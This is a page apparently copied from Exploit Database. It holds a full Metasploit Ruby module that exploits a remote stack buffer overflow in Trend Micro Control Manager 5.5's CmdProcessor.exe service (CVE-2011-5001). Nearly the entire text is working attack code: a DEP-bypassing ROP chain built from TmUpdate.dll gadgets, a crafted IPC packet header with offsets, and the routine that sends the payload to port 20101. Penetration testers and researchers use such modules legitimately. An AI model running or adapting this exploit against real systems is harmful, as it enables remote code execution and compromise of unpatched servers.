Trend Micro Control Manger 5.5 – ‘CmdProcessor.exe’ Remote Stack Buffer Overflow (Metasploit)

• Exploit Database
• 10 阅读

• 作者： Metasploit
  日期： 2012-02-23
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/18514/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GoodRanking
  
  	include Msf::Exploit::Remote::Tcp
  
  	def initialize(info={})
  		super(update_info(info,
  			'Name' => "TrendMicro Control Manger <= v5.5 CmdProcessor.exe Stack Buffer Overflow",
  			'Description'=> %q{
  					This module exploits a vulnerability in the CmdProcessor.exe component of Trend
  				Micro Control Manger up to version 5.5.
  
  					The specific flaw exists within CmdProcessor.exe service running on TCP port
  				20101. The vulnerable function is the CGenericScheduler::AddTask function of
  				cmdHandlerRedAlertController.dll. When processing a specially crafted IPC packet,
  				controlled data is copied into a 256-byte stack buffer. This can be exploited
  				to execute remote code under the context of the user.
  			},
  			'License'=> MSF_LICENSE,
  			'Author' =>
  				[
  					'Luigi Auriemma',#Initial discovery
  					'Blue',#Metasploit
  				],
  			'References' =>
  				[
  					['CVE', '2011-5001'],
  					['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-345/']
  				],
  			'Payload'=>
  				{
  					'BadChars' => "\x00",
  				},
  			'DefaultOptions'=>
  				{
  					'ExitFunction' => 'process',
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[
  						# TCM 5.5 cannot be installed in Win2k3 SP0-SP1, Win2k8, or XP
  						'Windows 2003 Server SP2 (DEP Bypass)',
  						{
  							'Ret'=> 0x666b34c8, # TMNotify.dll stack pivot
  							'Offset' => 5000
  						}
  					],
  				],
  			'Privileged' => false,
  			'DisclosureDate' => "Dec 07 2011",
  			'DefaultTarget'=> 0))
  
  			register_options(
  			[
  				Opt::RPORT(20101)
  			], self.class)
  	end
  
  	def junk
  		return rand_text(4).unpack("L")[0].to_i
  	end
  
  	def exploit
  
  		#TmUpdate.dll
  		rop_chain = [
  			0x668074d4,	# POP EDX # OR AL,0F6 # RETN
  			0x3FCD0FFC,	# Put 00001000 into edx
  			0x667611b2,	# ADD EDX,C0330004 # RETN 04
  			0x667c99e7,	# POP EBP # RETN [TmUpdate.dll]
  			junk,
  			0x667c99e7,	# skip 4 bytes [TmUpdate.dll]
  			0x667e3250,	# POP EBX # RETN [TmUpdate.dll]
  			0xffffffff,	# NEG EBX
  			0x6683ab64,	# INC EBX # XOR EAX,EAX # RETN [TmUpdate.dll]
  			0x6683ab64,	# INC EBX # XOR EAX,EAX # RETN [TmUpdate.dll]
  			0x6680a1d3,	# POP EAX # RETN [TmUpdate.dll]
  			0xffffffc0,	# Value to negate, will become 0x00000040
  			0x66812b53,	# NEG EAX # RETN [TmUpdate.dll]
  			0x667f030a,	# MOV ECX,EAX # RETN [TmUpdate.dll]
  			0x667d4c7c,	# POP EDI # RETN [TmUpdate.dll]
  			0x667e8003,	# RETN (ROP NOP) [TmUpdate.dll]
  			0x667d54d0,	# POP ESI # RETN [TmUpdate.dll]
  			0x667baf06,	# JMP [EAX] [TmUpdate.dll]
  			0x66833376,	# POP EAX # RETN [TmUpdate.dll]
  			0x6686115c,	# ptr to &VirtualAlloc() [IAT TmUpdate.dll]
  			0x6681ceb3,	# PUSHAD # RETN [TmUpdate.dll]
  			0x668382c3,	# ptr to 'call esp' [TmUpdate.dll]
  		].pack('V*')
  		#rop chain generated by mona.py
  
  		header= "\x00\x00"
  		header << "\x13\x88"#size of buffer
  		header << rand_text_alpha(9)
  		header << "\x15\x09\x13"#opcode
  		header << "\x00\x00\x00"
  		header << rand_text_alpha(25)
  		header << "\xFE\xFF\xFF\xFF"#in instruction #MOV EDI,DWORD PTR DS:[EAX+ECX] #ECX is our buffer and needs to be readable dword
  		header << "\xFF\xFF\xFF\xFF"#after sum with EAX. Pointer from EAX increments by #LEA EAX,DWORD PTR DS:[EAX+EDI+4] and then is saved
  		header << "\xFF\xFF\xF4\xFF"#and used again. We can essentially walk the loop which increments EBX by 1 until we get to 14 which leads
  		header << "\xFF\xFF"#us to our vulnerable function
  		header << rand_text_alpha(1)#align stack again for rop
  
  		pay = rop_chain
  		pay << make_nops(374 - rop_chain.length)
  		pay << "\xeb\x04"#Short jmp 0x04
  		pay << [target.ret].pack('V')
  		pay << payload.encoded
  
  		sploit = header
  		sploit << pay
  
  		filler = rand_text_alpha(target['Offset'] - (sploit.length))
  
  		connect
  		print_status("Sending request...")
  		sock.put(sploit + filler)
  		handler
  		disconnect
  
  	end
  
  end